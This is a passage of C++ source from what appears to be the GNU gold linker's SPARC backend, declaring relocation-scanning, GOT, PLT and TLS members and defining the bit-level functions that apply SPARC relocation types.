// Return the value to use for a dynamic which requires special
// treatment.
uint64_t
do_dynsym_value(const Symbol*) const;
// Relocate a section.
void
relocate_section(const Relocate_info<size, big_endian>*,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr view_address,
section_size_type view_size,
const Reloc_symbol_changes*);
// Scan the relocs during a relocatable link.
void
scan_relocatable_relocs(Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
size_t local_symbol_count,
const unsigned char* plocal_symbols,
Relocatable_relocs*);
// Scan the relocs for --emit-relocs.
void
emit_relocs_scan(Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
size_t local_symbol_count,
const unsigned char* plocal_syms,
Relocatable_relocs* rr);
// Emit relocations for a section.
void
relocate_relocs(const Relocate_info<size, big_endian>*,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
typename elfcpp::Elf_types<size>::Elf_Off
offset_in_output_section,
unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr view_address,
section_size_type view_size,
unsigned char* reloc_view,
section_size_type reloc_view_size);
// Return whether SYM is defined by the ABI.
bool
do_is_defined_by_abi(const Symbol* sym) const
{ return strcmp(sym->name(), "___tls_get_addr") == 0; }
// Return the PLT address to use for a global symbol.
uint64_t
do_plt_address_for_global(const Symbol* gsym) const
{ return this->plt_section()->address_for_global(gsym); }
uint64_t
do_plt_address_for_local(const Relobj* relobj, unsigned int symndx) const
{ return this->plt_section()->address_for_local(relobj, symndx); }
// Return whether there is a GOT section.
bool
has_got_section() const
{ return this->got_ != NULL; }
// Return the size of the GOT section.
section_size_type
got_size() const
{
gold_assert(this->got_ != NULL);
return this->got_->data_size();
}
// Return the number of entries in the GOT.
unsigned int
got_entry_count() const
{
if (this->got_ == NULL)
return 0;
return this->got_size() / (size / 8);
}
// Return the address of the GOT.
uint64_t
got_address() const
{
if (this->got_ == NULL)
return 0;
return this->got_->address();
}
// Return the number of entries in the PLT.
unsigned int
plt_entry_count() const;
// Return the offset of the first non-reserved PLT entry.
unsigned int
first_plt_entry_offset() const;
// Return the size of each PLT entry.
unsigned int
plt_entry_size() const;
protected:
// Make an ELF object.
Object*
do_make_elf_object(const std::string&, Input_file*, off_t,
const elfcpp::Ehdr<size, big_endian>& ehdr);
void
do_adjust_elf_header(unsigned char* view, int len);
private:
// The class which scans relocations.
class Scan
{
public:
Scan()
: issued_non_pic_error_(false)
{ }
static inline int
get_reference_flags(unsigned int r_type);
inline void
local(Symbol_table* symtab, Layout* layout, Target_sparc* target,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
Output_section* output_section,
const elfcpp::Rela<size, big_endian>& reloc, unsigned int r_type,
const elfcpp::Sym<size, big_endian>& lsym,
bool is_discarded);
inline void
global(Symbol_table* symtab, Layout* layout, Target_sparc* target,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
Output_section* output_section,
const elfcpp::Rela<size, big_endian>& reloc, unsigned int r_type,
Symbol* gsym);
inline bool
local_reloc_may_be_function_pointer(Symbol_table* , Layout* ,
Target_sparc* ,
Sized_relobj_file<size, big_endian>* ,
unsigned int ,
Output_section* ,
const elfcpp::Rela<size, big_endian>& ,
unsigned int ,
const elfcpp::Sym<size, big_endian>&)
{ return false; }
inline bool
global_reloc_may_be_function_pointer(Symbol_table* , Layout* ,
Target_sparc* ,
Sized_relobj_file<size, big_endian>* ,
unsigned int ,
Output_section* ,
const elfcpp::Rela<size,
big_endian>& ,
unsigned int , Symbol*)
{ return false; }
private:
static void
unsupported_reloc_local(Sized_relobj_file<size, big_endian>*,
unsigned int r_type);
static void
unsupported_reloc_global(Sized_relobj_file<size, big_endian>*,
unsigned int r_type, Symbol*);
static void
generate_tls_call(Symbol_table* symtab, Layout* layout,
Target_sparc* target);
void
check_non_pic(Relobj*, unsigned int r_type);
bool
reloc_needs_plt_for_ifunc(Sized_relobj_file<size, big_endian>*,
unsigned int r_type);
// Whether we have issued an error about a non-PIC compilation.
bool issued_non_pic_error_;
};
// The class which implements relocation.
class Relocate
{
public:
Relocate()
: ignore_gd_add_(false), reloc_adjust_addr_(NULL)
{ }
~Relocate()
{
if (this->ignore_gd_add_)
{
// FIXME: This needs to specify the location somehow.
gold_error(_("missing expected TLS relocation"));
}
}
// Do a relocation. Return false if the caller should not issue
// any warnings about this relocation.
inline bool
relocate(const Relocate_info<size, big_endian>*, unsigned int,
Target_sparc*, Output_section*, size_t, const unsigned char*,
const Sized_symbol<size>*, const Symbol_value<size>*,
unsigned char*, typename elfcpp::Elf_types<size>::Elf_Addr,
section_size_type);
private:
// Do a TLS relocation.
inline void
relocate_tls(const Relocate_info<size, big_endian>*, Target_sparc* target,
size_t relnum, const elfcpp::Rela<size, big_endian>&,
unsigned int r_type, const Sized_symbol<size>*,
const Symbol_value<size>*,
unsigned char*,
typename elfcpp::Elf_types<size>::Elf_Addr,
section_size_type);
inline void
relax_call(Target_sparc<size, big_endian>* target,
unsigned char* view,
const elfcpp::Rela<size, big_endian>& rela,
section_size_type view_size);
// Ignore the next relocation which should be R_SPARC_TLS_GD_ADD
bool ignore_gd_add_;
// If we hit a reloc at this view address, adjust it back by 4 bytes.
unsigned char *reloc_adjust_addr_;
};
// Get the GOT section, creating it if necessary.
Output_data_got<size, big_endian>*
got_section(Symbol_table*, Layout*);
// Create the PLT section.
void
make_plt_section(Symbol_table* symtab, Layout* layout);
// Create a PLT entry for a global symbol.
void
make_plt_entry(Symbol_table*, Layout*, Symbol*);
// Create a PLT entry for a local STT_GNU_IFUNC symbol.
void
make_local_ifunc_plt_entry(Symbol_table*, Layout*,
Sized_relobj_file<size, big_endian>* relobj,
unsigned int local_sym_index);
// Create a GOT entry for the TLS module index.
unsigned int
got_mod_index_entry(Symbol_table* symtab, Layout* layout,
Sized_relobj_file<size, big_endian>* object);
// Return the gsym for "__tls_get_addr". Cache if not already
// cached.
Symbol*
tls_get_addr_sym(Symbol_table* symtab)
{
if (!this->tls_get_addr_sym_)
this->tls_get_addr_sym_ = symtab->lookup("__tls_get_addr", NULL);
gold_assert(this->tls_get_addr_sym_);
return this->tls_get_addr_sym_;
}
// Get the PLT section.
Output_data_plt_sparc<size, big_endian>*
plt_section() const
{
gold_assert(this->plt_ != NULL);
return this->plt_;
}
// Get the dynamic reloc section, creating it if necessary.
Reloc_section*
rela_dyn_section(Layout*);
// Get the section to use for IFUNC relocations.
Reloc_section*
rela_ifunc_section(Layout*);
// Copy a relocation against a global symbol.
void
copy_reloc(Symbol_table* symtab, Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int shndx, Output_section* output_section,
Symbol* sym, const elfcpp::Rela<size, big_endian>& reloc)
{
unsigned int r_type = elfcpp::elf_r_type<size>(reloc.get_r_info());
this->copy_relocs_.copy_reloc(symtab, layout,
symtab->get_sized_symbol<size>(sym),
object, shndx, output_section,
r_type, reloc.get_r_offset(),
reloc.get_r_addend(),
this->rela_dyn_section(layout));
}
// Information about this specific target which we pass to the
// general Target structure.
static Target::Target_info sparc_info;
// The types of GOT entries needed for this platform.
// These values are exposed to the ABI in an incremental link.
// Do not renumber existing values without changing the version
// number of the .gnu_incremental_inputs section.
enum Got_type
{
GOT_TYPE_STANDARD = 0, // GOT entry for a regular symbol
GOT_TYPE_TLS_OFFSET = 1, // GOT entry for TLS offset
GOT_TYPE_TLS_PAIR = 2, // GOT entry for TLS module/offset pair
};
struct Register_symbol
{
Register_symbol()
: name(NULL), shndx(0), obj(NULL)
{ }
const char* name;
unsigned int shndx;
Object* obj;
};
// The GOT section.
Output_data_got<size, big_endian>* got_;
// The PLT section.
Output_data_plt_sparc<size, big_endian>* plt_;
// The dynamic reloc section.
Reloc_section* rela_dyn_;
// The section to use for IFUNC relocs.
Reloc_section* rela_ifunc_;
// Relocs saved to avoid a COPY reloc.
Copy_relocs<elfcpp::SHT_RELA, size, big_endian> copy_relocs_;
// Offset of the GOT entry for the TLS module index;
unsigned int got_mod_index_offset_;
// Cached pointer to __tls_get_addr symbol
Symbol* tls_get_addr_sym_;
// Accumulated elf machine type
elfcpp::Elf_Half elf_machine_;
// Accumulated elf header flags
elfcpp::Elf_Word elf_flags_;
// Whether elf_flags_ has been set for the first time yet
bool elf_flags_set_;
// STT_SPARC_REGISTER symbols (%g2, %g3, %g6, %g7).
Register_symbol register_syms_[4];
};
template<>
Target::Target_info Target_sparc<32, true>::sparc_info =
{
32, // size
true, // is_big_endian
elfcpp::EM_SPARC, // machine_code
false, // has_make_symbol
false, // has_resolve
false, // has_code_fill
true, // is_default_stack_executable
false, // can_icf_inline_merge_sections
'\0', // wrap_char
"/usr/lib/ld.so.1", // dynamic_linker
0x00010000, // default_text_segment_address
64 * 1024, // abi_pagesize (overridable by -z max-page-size)
8 * 1024, // common_pagesize (overridable by -z common-page-size)
false, // isolate_execinstr
0, // rosegment_gap
elfcpp::SHN_UNDEF, // small_common_shndx
elfcpp::SHN_UNDEF, // large_common_shndx
0, // small_common_section_flags
0, // large_common_section_flags
NULL, // attributes_section
NULL, // attributes_vendor
"_start", // entry_symbol_name
32, // hash_entry_size
};
template<>
Target::Target_info Target_sparc<64, true>::sparc_info =
{
64, // size
true, // is_big_endian
elfcpp::EM_SPARCV9, // machine_code
true, // has_make_symbol
false, // has_resolve
false, // has_code_fill
true, // is_default_stack_executable
false, // can_icf_inline_merge_sections
'\0', // wrap_char
"/usr/lib/sparcv9/ld.so.1", // dynamic_linker
0x100000, // default_text_segment_address
64 * 1024, // abi_pagesize (overridable by -z max-page-size)
8 * 1024, // common_pagesize (overridable by -z common-page-size)
false, // isolate_execinstr
0, // rosegment_gap
elfcpp::SHN_UNDEF, // small_common_shndx
elfcpp::SHN_UNDEF, // large_common_shndx
0, // small_common_section_flags
0, // large_common_section_flags
NULL, // attributes_section
NULL, // attributes_vendor
"_start", // entry_symbol_name
32, // hash_entry_size
};
// We have to take care here, even when operating in little-endian
// mode, sparc instructions are still big endian.
template<int size, bool big_endian>
class Sparc_relocate_functions
{
private:
// Do a simple relocation with the addend in the relocation.
template<int valsize>
static inline void
rela(unsigned char* view,
unsigned int right_shift,
typename elfcpp::Elf_types<valsize>::Elf_Addr dst_mask,
typename elfcpp::Swap<size, big_endian>::Valtype value,
typename elfcpp::Swap<size, big_endian>::Valtype addend)
{
typedef typename elfcpp::Swap<valsize, big_endian>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<valsize, big_endian>::readval(wv);
Valtype reloc = ((value + addend) >> right_shift);
val &= ~dst_mask;
reloc &= dst_mask;
elfcpp::Swap<valsize, big_endian>::writeval(wv, val | reloc);
}
// Do a simple relocation using a symbol value with the addend in
// the relocation.
template<int valsize>
static inline void
rela(unsigned char* view,
unsigned int right_shift,
typename elfcpp::Elf_types<valsize>::Elf_Addr dst_mask,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Swap<valsize, big_endian>::Valtype addend)
{
typedef typename elfcpp::Swap<valsize, big_endian>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<valsize, big_endian>::readval(wv);
Valtype reloc = (psymval->value(object, addend) >> right_shift);
val &= ~dst_mask;
reloc &= dst_mask;
elfcpp::Swap<valsize, big_endian>::writeval(wv, val | reloc);
}
// Do a simple relocation using a symbol value with the addend in
// the relocation, unaligned.
template<int valsize>
static inline void
rela_ua(unsigned char* view,
unsigned int right_shift, elfcpp::Elf_Xword dst_mask,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Swap<size, big_endian>::Valtype addend)
{
typedef typename elfcpp::Swap_unaligned<valsize,
big_endian>::Valtype Valtype;
unsigned char* wv = view;
Valtype val = elfcpp::Swap_unaligned<valsize, big_endian>::readval(wv);
Valtype reloc = (psymval->value(object, addend) >> right_shift);
val &= ~dst_mask;
reloc &= dst_mask;
elfcpp::Swap_unaligned<valsize, big_endian>::writeval(wv, val | reloc);
}
// Do a simple PC relative relocation with a Symbol_value with the
// addend in the relocation.
template<int valsize>
static inline void
pcrela(unsigned char* view,
unsigned int right_shift,
typename elfcpp::Elf_types<valsize>::Elf_Addr dst_mask,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Swap<size, big_endian>::Valtype addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
typedef typename elfcpp::Swap<valsize, big_endian>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<valsize, big_endian>::readval(wv);
Valtype reloc = ((psymval->value(object, addend) - address)
>> right_shift);
val &= ~dst_mask;
reloc &= dst_mask;
elfcpp::Swap<valsize, big_endian>::writeval(wv, val | reloc);
}
template<int valsize>
static inline void
pcrela_unaligned(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Swap<size, big_endian>::Valtype addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
typedef typename elfcpp::Swap_unaligned<valsize,
big_endian>::Valtype Valtype;
unsigned char* wv = view;
Valtype reloc = (psymval->value(object, addend) - address);
elfcpp::Swap_unaligned<valsize, big_endian>::writeval(wv, reloc);
}
typedef Sparc_relocate_functions<size, big_endian> This;
typedef Sparc_relocate_functions<size, true> This_insn;
public:
// R_SPARC_WDISP30: (Symbol + Addend - Address) >> 2
static inline void
wdisp30(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 2, 0x3fffffff, object,
psymval, addend, address);
}
// R_SPARC_WDISP22: (Symbol + Addend - Address) >> 2
static inline void
wdisp22(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 2, 0x003fffff, object,
psymval, addend, address);
}
// R_SPARC_WDISP19: (Symbol + Addend - Address) >> 2
static inline void
wdisp19(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 2, 0x0007ffff, object,
psymval, addend, address);
}
// R_SPARC_WDISP16: (Symbol + Addend - Address) >> 2
static inline void
wdisp16(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
Valtype reloc = ((psymval->value(object, addend) - address)
>> 2);
// The relocation value is split between the low 14 bits,
// and bits 20-21.
val &= ~((0x3 << 20) | 0x3fff);
reloc = (((reloc & 0xc000) << (20 - 14))
| (reloc & 0x3ffff));
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_WDISP10: (Symbol + Addend - Address) >> 2
static inline void
wdisp10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
Valtype reloc = ((psymval->value(object, addend) - address)
>> 2);
// The relocation value is split between the low bits 5-12,
// and high bits 19-20.
val &= ~((0x3 << 19) | (0xff << 5));
reloc = (((reloc & 0x300) << (19 - 8))
| ((reloc & 0xff) << (5 - 0)));
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_PC22: (Symbol + Addend - Address) >> 10
static inline void
pc22(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 10, 0x003fffff, object,
psymval, addend, address);
}
// R_SPARC_PC10: (Symbol + Addend - Address) & 0x3ff
static inline void
pc10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 0, 0x000003ff, object,
psymval, addend, address);
}
// R_SPARC_HI22: (Symbol + Addend) >> 10
static inline void
hi22(unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr value,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 10, 0x003fffff, value, addend);
}
// R_SPARC_HI22: (Symbol + Addend) >> 10
static inline void
hi22(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 10, 0x003fffff, object, psymval, addend);
}
// R_SPARC_PCPLT22: (Symbol + Addend - Address) >> 10
static inline void
pcplt22(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 10, 0x003fffff, object,
psymval, addend, address);
}
// R_SPARC_LO10: (Symbol + Addend) & 0x3ff
static inline void
lo10(unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr value,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x000003ff, value, addend);
}
// R_SPARC_LO10: (Symbol + Addend) & 0x3ff
static inline void
lo10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x000003ff, object, psymval, addend);
}
// R_SPARC_LO10: (Symbol + Addend) & 0x3ff
static inline void
lo10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 0, 0x000003ff, object,
psymval, addend, address);
}
// R_SPARC_OLO10: ((Symbol + Addend) & 0x3ff) + Addend2
static inline void
olo10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr addend2)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
Valtype reloc = psymval->value(object, addend);
val &= ~0x1fff;
reloc &= 0x3ff;
reloc += addend2;
reloc &= 0x1fff;
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_22: (Symbol + Addend)
static inline void
rela32_22(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x003fffff, object, psymval, addend);
}
// R_SPARC_13: (Symbol + Addend)
static inline void
rela32_13(unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr value,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x00001fff, value, addend);
}
// R_SPARC_13: (Symbol + Addend)
static inline void
rela32_13(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x00001fff, object, psymval, addend);
}
// R_SPARC_UA16: (Symbol + Addend)
static inline void
ua16(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This::template rela_ua<16>(view, 0, 0xffff, object, psymval, addend);
}
// R_SPARC_UA32: (Symbol + Addend)
static inline void
ua32(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This::template rela_ua<32>(view, 0, 0xffffffff, object, psymval, addend);
}
// R_SPARC_UA64: (Symbol + Addend)
static inline void
ua64(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This::template rela_ua<64>(view, 0, ~(elfcpp::Elf_Xword) 0,
object, psymval, addend);
}
// R_SPARC_DISP8: (Symbol + Addend - Address)
static inline void
disp8(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This::template pcrela_unaligned<8>(view, object, psymval,
addend, address);
}
// R_SPARC_DISP16: (Symbol + Addend - Address)
static inline void
disp16(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This::template pcrela_unaligned<16>(view, object, psymval,
addend, address);
}
// R_SPARC_DISP32: (Symbol + Addend - Address)
static inline void
disp32(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This::template pcrela_unaligned<32>(view, object, psymval,
addend, address);
}
// R_SPARC_DISP64: (Symbol + Addend - Address)
static inline void
disp64(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
elfcpp::Elf_Xword addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This::template pcrela_unaligned<64>(view, object, psymval,
addend, address);
}
// R_SPARC_H34: (Symbol + Addend) >> 12
static inline void
h34(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 12, 0x003fffff, object, psymval, addend);
}
// R_SPARC_H44: (Symbol + Addend) >> 22
static inline void
h44(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 22, 0x003fffff, object, psymval, addend);
}
// R_SPARC_M44: ((Symbol + Addend) >> 12) & 0x3ff
static inline void
m44(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 12, 0x000003ff, object, psymval, addend);
}
// R_SPARC_L44: (Symbol + Addend) & 0xfff
static inline void
l44(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x00000fff, object, psymval, addend);
}
// R_SPARC_HH22: (Symbol + Addend) >> 42
static inline void
hh22(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 42, 0x003fffff, object, psymval, addend);
}
// R_SPARC_PC_HH22: (Symbol + Addend - Address) >> 42
static inline void
pc_hh22(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 42, 0x003fffff, object,
psymval, addend, address);
}
// R_SPARC_HM10: ((Symbol + Addend) >> 32) & 0x3ff
static inline void
hm10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 32, 0x000003ff, object, psymval, addend);
}
// R_SPARC_PC_HM10: ((Symbol + Addend - Address) >> 32) & 0x3ff
static inline void
pc_hm10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend,
typename elfcpp::Elf_types<size>::Elf_Addr address)
{
This_insn::template pcrela<32>(view, 32, 0x000003ff, object,
psymval, addend, address);
}
// R_SPARC_11: (Symbol + Addend)
static inline void
rela32_11(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x000007ff, object, psymval, addend);
}
// R_SPARC_10: (Symbol + Addend)
static inline void
rela32_10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x000003ff, object, psymval, addend);
}
// R_SPARC_7: (Symbol + Addend)
static inline void
rela32_7(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x0000007f, object, psymval, addend);
}
// R_SPARC_6: (Symbol + Addend)
static inline void
rela32_6(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x0000003f, object, psymval, addend);
}
// R_SPARC_5: (Symbol + Addend)
static inline void
rela32_5(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::template rela<32>(view, 0, 0x0000001f, object, psymval, addend);
}
// R_SPARC_TLS_LDO_HIX22: @dtpoff(Symbol + Addend) >> 10
static inline void
ldo_hix22(unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr value,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
This_insn::hi22(view, value, addend);
}
// R_SPARC_TLS_LDO_LOX10: @dtpoff(Symbol + Addend) & 0x3ff
static inline void
ldo_lox10(unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr value,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
Valtype reloc = (value + addend);
val &= ~0x1fff;
reloc &= 0x3ff;
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_TLS_LE_HIX22: (@tpoff(Symbol + Addend) ^ 0xffffffffffffffff) >> 10
static inline void
hix22(unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr value,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
Valtype reloc = (value + addend);
val &= ~0x3fffff;
reloc ^= ~(Valtype)0;
reloc >>= 10;
reloc &= 0x3fffff;
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_GOTDATA_OP_HIX22: @gdopoff(Symbol + Addend) >> 10
static inline void
gdop_hix22(unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr value)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
int32_t reloc = static_cast<int32_t>(value);
val &= ~0x3fffff;
if (reloc < 0)
reloc ^= ~static_cast<int32_t>(0);
reloc >>= 10;
reloc &= 0x3fffff;
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_HIX22: ((Symbol + Addend) ^ 0xffffffffffffffff) >> 10
static inline void
hix22(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
Valtype reloc = psymval->value(object, addend);
val &= ~0x3fffff;
reloc ^= ~(Valtype)0;
reloc >>= 10;
reloc &= 0x3fffff;
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_TLS_LE_LOX10: (@tpoff(Symbol + Addend) & 0x3ff) | 0x1c00
static inline void
lox10(unsigned char* view,
